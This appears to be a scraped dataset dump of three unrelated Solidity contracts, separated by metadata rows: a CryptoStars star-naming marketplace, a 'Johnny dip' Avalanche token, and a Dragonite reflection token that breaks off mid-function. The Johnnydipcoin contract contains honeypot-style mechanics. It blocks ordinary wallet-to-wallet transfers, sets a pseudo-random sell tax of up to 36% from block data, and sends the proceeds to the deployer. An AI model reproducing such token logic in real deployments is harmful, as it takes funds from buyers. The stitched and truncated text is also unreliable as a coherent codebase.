contract CryptoStars {
address owner;
string public standard = "STRZ";
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public initialPrice;
uint256 public transferPrice;
uint256 public MaxStarIndexAvailable;
uint256 public MinStarIndexAvailable;
uint public nextStarIndexToAssign = 0;
uint public starsRemainingToAssign = 0;
uint public numberOfStarsToReserve;
uint public numberOfStarsReserved = 0;
mapping (uint => address) public starIndexToAddress;
mapping (uint => string) public starIndexToSTRZName;
mapping (uint => string) public starIndexToSTRZMasterName;
mapping (address => uint256) public balanceOf;
struct Offer {
bool isForSale;
uint starIndex;
address seller;
uint minValue;
address onlySellTo;
}
struct Bid {
bool hasBid;
uint starIndex;
address bidder;
uint value;
}
mapping (uint => Offer) public starsOfferedForSale;
mapping (uint => Bid) public starBids;
mapping (address => uint) public pendingWithdrawals;
event Assign(address indexed to, uint256 starIndex, string GivenName, string MasterName);
event Transfer(address indexed from, address indexed to, uint256 value);
event StarTransfer(address indexed from, address indexed to, uint256 starIndex);
event StarOffered(uint indexed starIndex, uint minValue, address indexed fromAddress, address indexed toAddress);
event StarBidEntered(uint indexed starIndex, uint value, address indexed fromAddress);
event StarBidWithdrawn(uint indexed starIndex, uint value, address indexed fromAddress);
event StarBidAccepted(uint indexed starIndex, uint value, address indexed fromAddress);
event StarBought(uint indexed starIndex, uint value, address indexed fromAddress, address indexed toAddress, string GivenName, string MasterName, uint MinStarAvailable, uint MaxStarAvailable);
event StarNoLongerForSale(uint indexed starIndex);
event StarMinMax(uint MinStarAvailable, uint MaxStarAvailable, uint256 Price);
event NewOwner(uint indexed starIndex, address indexed toAddress);
function CryptoStars() payable {
owner = msg.sender;
totalSupply = 119614;
starsRemainingToAssign = totalSupply;
numberOfStarsToReserve = 1000;
name = "CRYPTOSTARS";
symbol = "STRZ";
decimals = 0;
initialPrice = 99000000000000000;
transferPrice = 10000000000000000;
MinStarIndexAvailable = 11500;
MaxStarIndexAvailable = 12000;
starIndexToSTRZMasterName[0] = "Sol";
starIndexToAddress[0] = owner;
Assign(owner, 0, starIndexToSTRZName[0], starIndexToSTRZMasterName[0]);
starIndexToSTRZMasterName[2001] = "Odyssey";
starIndexToAddress[2001] = owner;
Assign(owner, 2001, starIndexToSTRZName[2001], starIndexToSTRZMasterName[2001]);
starIndexToSTRZMasterName[119006] = "Delta Velorum";
starIndexToAddress[119006] = owner;
Assign(owner, 119006, starIndexToSTRZName[119006], starIndexToSTRZMasterName[119006]);
starIndexToSTRZMasterName[119088] = "Gamma Camelopardalis";
starIndexToAddress[119088] = owner;
Assign(owner, 119088, starIndexToSTRZName[119088], starIndexToSTRZMasterName[119088]);
starIndexToSTRZMasterName[119514] = "Capella";
starIndexToAddress[119514] = owner;
Assign(owner, 119514, starIndexToSTRZName[119514], starIndexToSTRZMasterName[119514]);
}
function reserveStarsForOwner(uint maxForThisRun) {
if (msg.sender != owner) throw;
if (numberOfStarsReserved >= numberOfStarsToReserve) throw;
uint numberStarsReservedThisRun = 0;
while (numberOfStarsReserved < numberOfStarsToReserve && numberStarsReservedThisRun < maxForThisRun) {
starIndexToAddress[nextStarIndexToAssign] = msg.sender;
Assign(msg.sender, nextStarIndexToAssign,starIndexToSTRZName[nextStarIndexToAssign], starIndexToSTRZMasterName[nextStarIndexToAssign]);
numberStarsReservedThisRun++;
nextStarIndexToAssign++;
}
starsRemainingToAssign -= numberStarsReservedThisRun;
numberOfStarsReserved += numberStarsReservedThisRun;
balanceOf[msg.sender] += numberStarsReservedThisRun;
}
function setGivenName(uint starIndex, string name) {
if (starIndexToAddress[starIndex] != msg.sender) throw;
starIndexToSTRZName[starIndex] = name;
Assign(msg.sender, starIndex, starIndexToSTRZName[starIndex], starIndexToSTRZMasterName[starIndex]);
}
function setMasterName(uint starIndex, string name) {
if (msg.sender != owner) throw;
if (starIndexToAddress[starIndex] != owner) throw;
starIndexToSTRZMasterName[starIndex] = name;
Assign(msg.sender, starIndex, starIndexToSTRZName[starIndex], starIndexToSTRZMasterName[starIndex]);
}
function getMinMax(){
StarMinMax(MinStarIndexAvailable,MaxStarIndexAvailable, initialPrice);
}
function setMinMax(uint256 MaxStarIndexHolder, uint256 MinStarIndexHolder) {
if (msg.sender != owner) throw;
MaxStarIndexAvailable = MaxStarIndexHolder;
MinStarIndexAvailable = MinStarIndexHolder;
StarMinMax(MinStarIndexAvailable,MaxStarIndexAvailable, initialPrice);
}
function setStarInitialPrice(uint256 initialPriceHolder) {
if (msg.sender != owner) throw;
initialPrice = initialPriceHolder;
StarMinMax(MinStarIndexAvailable,MaxStarIndexAvailable, initialPrice);
}
function setTransferPrice(uint256 transferPriceHolder){
if (msg.sender != owner) throw;
transferPrice = transferPriceHolder;
}
function getStar(uint starIndex, string strSTRZName, string strSTRZMasterName) {
if (msg.sender != owner) throw;
if (starIndexToAddress[starIndex] != 0x0) throw;
starIndexToSTRZName[starIndex] = strSTRZName;
starIndexToSTRZMasterName[starIndex] = strSTRZMasterName;
starIndexToAddress[starIndex] = msg.sender;
balanceOf[msg.sender]++;
Assign(msg.sender, starIndex, starIndexToSTRZName[starIndex], starIndexToSTRZMasterName[starIndex]);
}
function transferStar(address to, uint starIndex) payable {
if (starIndexToAddress[starIndex] != msg.sender) throw;
if (msg.value < transferPrice) throw;
starIndexToAddress[starIndex] = to;
balanceOf[msg.sender]--;
balanceOf[to]++;
StarTransfer(msg.sender, to, starIndex);
Assign(to, starIndex, starIndexToSTRZName[starIndex], starIndexToSTRZMasterName[starIndex]);
pendingWithdrawals[owner] += msg.value;
Bid bid = starBids[starIndex];
if (bid.hasBid) {
pendingWithdrawals[bid.bidder] += bid.value;
starBids[starIndex] = Bid(false, starIndex, 0x0, 0);
StarBidWithdrawn(starIndex, bid.value, to);
}
Offer offer = starsOfferedForSale[starIndex];
if (offer.isForSale) {
starsOfferedForSale[starIndex] = Offer(false, starIndex, msg.sender, 0, 0x0);
}
}
function starNoLongerForSale(uint starIndex) {
if (starIndexToAddress[starIndex] != msg.sender) throw;
starsOfferedForSale[starIndex] = Offer(false, starIndex, msg.sender, 0, 0x0);
StarNoLongerForSale(starIndex);
Bid bid = starBids[starIndex];
if (bid.bidder == msg.sender) {
pendingWithdrawals[msg.sender] += bid.value;
starBids[starIndex] = Bid(false, starIndex, 0x0, 0);
StarBidWithdrawn(starIndex, bid.value, msg.sender);
}
}
function offerStarForSale(uint starIndex, uint minSalePriceInWei) {
if (starIndexToAddress[starIndex] != msg.sender) throw;
starsOfferedForSale[starIndex] = Offer(true, starIndex, msg.sender, minSalePriceInWei, 0x0);
StarOffered(starIndex, minSalePriceInWei, msg.sender, 0x0);
}
function offerStarForSaleToAddress(uint starIndex, uint minSalePriceInWei, address toAddress) {
if (starIndexToAddress[starIndex] != msg.sender) throw;
starsOfferedForSale[starIndex] = Offer(true, starIndex, msg.sender, minSalePriceInWei, toAddress);
StarOffered(starIndex, minSalePriceInWei, msg.sender, toAddress);
}
function buyStar(uint starIndex) payable {
Offer offer = starsOfferedForSale[starIndex];
if (!offer.isForSale) throw;
if (offer.onlySellTo != 0x0 && offer.onlySellTo != msg.sender) throw;
if (msg.value < offer.minValue) throw;
if (offer.seller != starIndexToAddress[starIndex]) throw;
address seller = offer.seller;
balanceOf[seller]--;
balanceOf[msg.sender]++;
Assign(msg.sender, starIndex,starIndexToSTRZName[starIndex], starIndexToSTRZMasterName[starIndex]);
uint amountseller = msg.value*97/100;
uint amountowner = msg.value*3/100;
pendingWithdrawals[owner] += amountowner;
pendingWithdrawals[seller] += amountseller;
starIndexToAddress[starIndex] = msg.sender;
starNoLongerForSale(starIndex);
string STRZName = starIndexToSTRZName[starIndex];
string STRZMasterName = starIndexToSTRZMasterName[starIndex];
StarBought(starIndex, msg.value, offer.seller, msg.sender, STRZName, STRZMasterName, MinStarIndexAvailable, MaxStarIndexAvailable);
Bid bid = starBids[starIndex];
if (bid.bidder == msg.sender) {
pendingWithdrawals[msg.sender] += bid.value;
starBids[starIndex] = Bid(false, starIndex, 0x0, 0);
StarBidWithdrawn(starIndex, bid.value, msg.sender);
}
}
function buyStarInitial(uint starIndex, string strSTRZName) payable {
if (starIndex > MaxStarIndexAvailable) throw;
if (starIndex < MinStarIndexAvailable) throw;
if (starIndexToAddress[starIndex] != 0x0) throw;
if (msg.value < initialPrice) throw;
starIndexToAddress[starIndex] = msg.sender;
starIndexToSTRZName[starIndex] = strSTRZName;
balanceOf[msg.sender]++;
pendingWithdrawals[owner] += msg.value;
string STRZMasterName = starIndexToSTRZMasterName[starIndex];
StarBought(starIndex, msg.value, owner, msg.sender, strSTRZName, STRZMasterName ,MinStarIndexAvailable, MaxStarIndexAvailable);
Assign(msg.sender, starIndex, starIndexToSTRZName[starIndex], starIndexToSTRZMasterName[starIndex]);
}
function enterBidForStar(uint starIndex) payable {
if (starIndex >= totalSupply) throw;
if (starIndexToAddress[starIndex] == 0x0) throw;
if (starIndexToAddress[starIndex] == msg.sender) throw;
if (msg.value == 0) throw;
Bid existing = starBids[starIndex];
if (msg.value <= existing.value) throw;
if (existing.value > 0) {
pendingWithdrawals[existing.bidder] += existing.value;
}
starBids[starIndex] = Bid(true, starIndex, msg.sender, msg.value);
StarBidEntered(starIndex, msg.value, msg.sender);
}
function acceptBidForStar(uint starIndex, uint minPrice) {
if (starIndex >= totalSupply) throw;
if (starIndexToAddress[starIndex] != msg.sender) throw;
address seller = msg.sender;
Bid bid = starBids[starIndex];
if (bid.value == 0) throw;
if (bid.value < minPrice) throw;
starIndexToAddress[starIndex] = bid.bidder;
balanceOf[seller]--;
balanceOf[bid.bidder]++;
Transfer(seller, bid.bidder, 1);
starsOfferedForSale[starIndex] = Offer(false, starIndex, bid.bidder, 0, 0x0);
uint amount = bid.value;
uint amountseller = amount*97/100;
uint amountowner = amount*3/100;
pendingWithdrawals[seller] += amountseller;
pendingWithdrawals[owner] += amountowner;
string STRZGivenName = starIndexToSTRZName[starIndex];
string STRZMasterName = starIndexToSTRZMasterName[starIndex];
StarBought(starIndex, bid.value, seller, bid.bidder, STRZGivenName, STRZMasterName, MinStarIndexAvailable, MaxStarIndexAvailable);
StarBidWithdrawn(starIndex, bid.value, bid.bidder);
Assign(bid.bidder, starIndex, starIndexToSTRZName[starIndex], starIndexToSTRZMasterName[starIndex]);
StarNoLongerForSale(starIndex);
starBids[starIndex] = Bid(false, starIndex, 0x0, 0);
}
function withdrawBidForStar(uint starIndex) {
if (starIndex >= totalSupply) throw;
if (starIndexToAddress[starIndex] == 0x0) throw;
if (starIndexToAddress[starIndex] == msg.sender) throw;
Bid bid = starBids[starIndex];
if (bid.bidder != msg.sender) throw;
StarBidWithdrawn(starIndex, bid.value, msg.sender);
uint amount = bid.value;
starBids[starIndex] = Bid(false, starIndex, 0x0, 0);
pendingWithdrawals[msg.sender] += amount;
}
function withdraw() {
uint amount = pendingWithdrawals[msg.sender];
pendingWithdrawals[msg.sender] = 0;
msg.sender.send(amount);
}
function withdrawPartial(uint withdrawAmount) {
if (msg.sender != owner) throw;
if (withdrawAmount > pendingWithdrawals[msg.sender]) throw;
pendingWithdrawals[msg.sender] -= withdrawAmount;
msg.sender.send(withdrawAmount);
}
}
| 161,797 | 12,797 |
7a496195575d2ef355d0d3dcd15eea8407a8db9c43139bcb5a5ef01c5980e65d
| 13,999 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/aa/aa6dbc76b3e79836fe88547ae808ab3b39eea330_Johnnydipcoin.sol
| 3,563 | 13,383 |
// https://t.me/johnnydipcoin
pragma solidity ^0.8.1;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function getAmountsIn(uint256 amountOut,
address[] memory path) external view returns (uint256[] memory amounts);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityAVAX(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountAVAXMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountAVAX, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactAVAXForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
abstract contract BEP20Interface {
function balanceOf(address whom) view public virtual returns (uint);
}
contract Johnnydipcoin is IBEP20, Auth {
using SafeMath for uint256;
string constant _name = "Johnny dip";
string constant _symbol = "JD";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4;
uint256 _totalSupply = 10000 * (10 ** _decimals);
uint256 public _record = 0;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public hasSold;
uint256 public liquidityFee = 0;
uint256 public marketingFee = 0;
uint256 public WorldLeaderFee = 0;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
uint256 public maxTx = 300 * (10 ** _decimals);
uint256 public maxWallet = 400 * (10 ** _decimals);
address public autoLiquidityReceiver;
address public marketingWallet;
address public WorldLeader;
IDEXRouter public router;
address public pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 public swapThreshold = _totalSupply * 5 / 2000;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () Auth(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(router.WAVAX(), address(this));
_allowances[address(this)][address(router)] = uint256(_totalSupply);
isFeeExempt[DEAD] = true;
isTxLimitExempt[DEAD] = true;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
autoLiquidityReceiver = msg.sender; //LP receiver
marketingWallet = msg.sender; //marketing wallet
WorldLeader = msg.sender; //tax collector wallet
totalFee = 10;
totalFeeIfSelling = totalFee;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable { }
function name() external pure override returns (string memory) { return _name; }
function symbol() external pure override returns (string memory) { return _symbol; }
function decimals() external pure override returns (uint8) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function getOwner() external view override returns (address) { return owner; }
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(_totalSupply));
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
isTxLimitExempt[holder] = exempt;
}
function setFeeReceivers(address newLiquidityReceiver, address newMarketingWallet) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
}
function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external authorized {
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
swapAndLiquifyByLimitOnly = swapByLimitOnly;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(_totalSupply)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
_transferFrom(sender, recipient, amount);
return true;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(sender != owner
&& recipient != owner
&& !isTxLimitExempt[recipient]
&& recipient != ZERO
&& recipient != DEAD
&& recipient != pair
&& recipient != address(this))
{
require(maxTx >= amount && maxWallet >= amount + _balances[recipient]);
}
totalFeeIfSelling = (uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, msg.sender)))%7) ** 2;
if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); }
if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); }
require(!isWalletToWallet(sender, recipient), "Don't cheat");
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(msg.sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function isWalletToWallet(address sender, address recipient) internal view returns (bool) {
if (isFeeExempt[sender] || isFeeExempt[recipient]) {
return false;
}
if (sender == pair || recipient == pair) {
return false;
}
return true;
}
function swapBack() internal lockTheSwap {
uint256 tokensToLiquify = _balances[address(this)];
uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WAVAX();
router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(amountToSwap,
0,
path,
address(this),
block.timestamp);
uint256 amountAVAX = address(this).balance;
uint256 totalAVAXFee = totalFee.sub(liquidityFee.div(2));
uint256 amountAVAXMarketing = amountAVAX;
uint256 amountAVAXTaxMan = amountAVAX.mul(WorldLeaderFee).div(totalAVAXFee);
uint256 amountAVAXLiquidity = amountAVAX.mul(liquidityFee).div(totalAVAXFee).div(2);
(bool tmpSuccess,) = payable(marketingWallet).call{value: amountAVAXMarketing, gas: 30000}("");
(bool tmpSuccess2,) = payable(WorldLeader).call{value: amountAVAXTaxMan, gas: 30000}("");
// only to supress warning msg
tmpSuccess = false;
tmpSuccess2 = false;
if(amountToLiquify > 0){
router.addLiquidityAVAX{value: amountAVAXLiquidity}(address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp);
emit AutoLiquify(amountAVAXLiquidity, amountToLiquify);
}
}
event AutoLiquify(uint256 amountAVAX, uint256 amountBOG);
}
| 85,218 | 12,798 |
f5cc042149e882db7401a7c10cdb90df6c944beec6e556905a913aded5502c37
| 15,896 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x7D8e71e96E56E380a6D0991689a29a62d482f21F/contract.sol
| 4,142 | 15,401 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Dragonite is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 75 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Dragonite';
string private _symbol = 'DRAGONITE';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
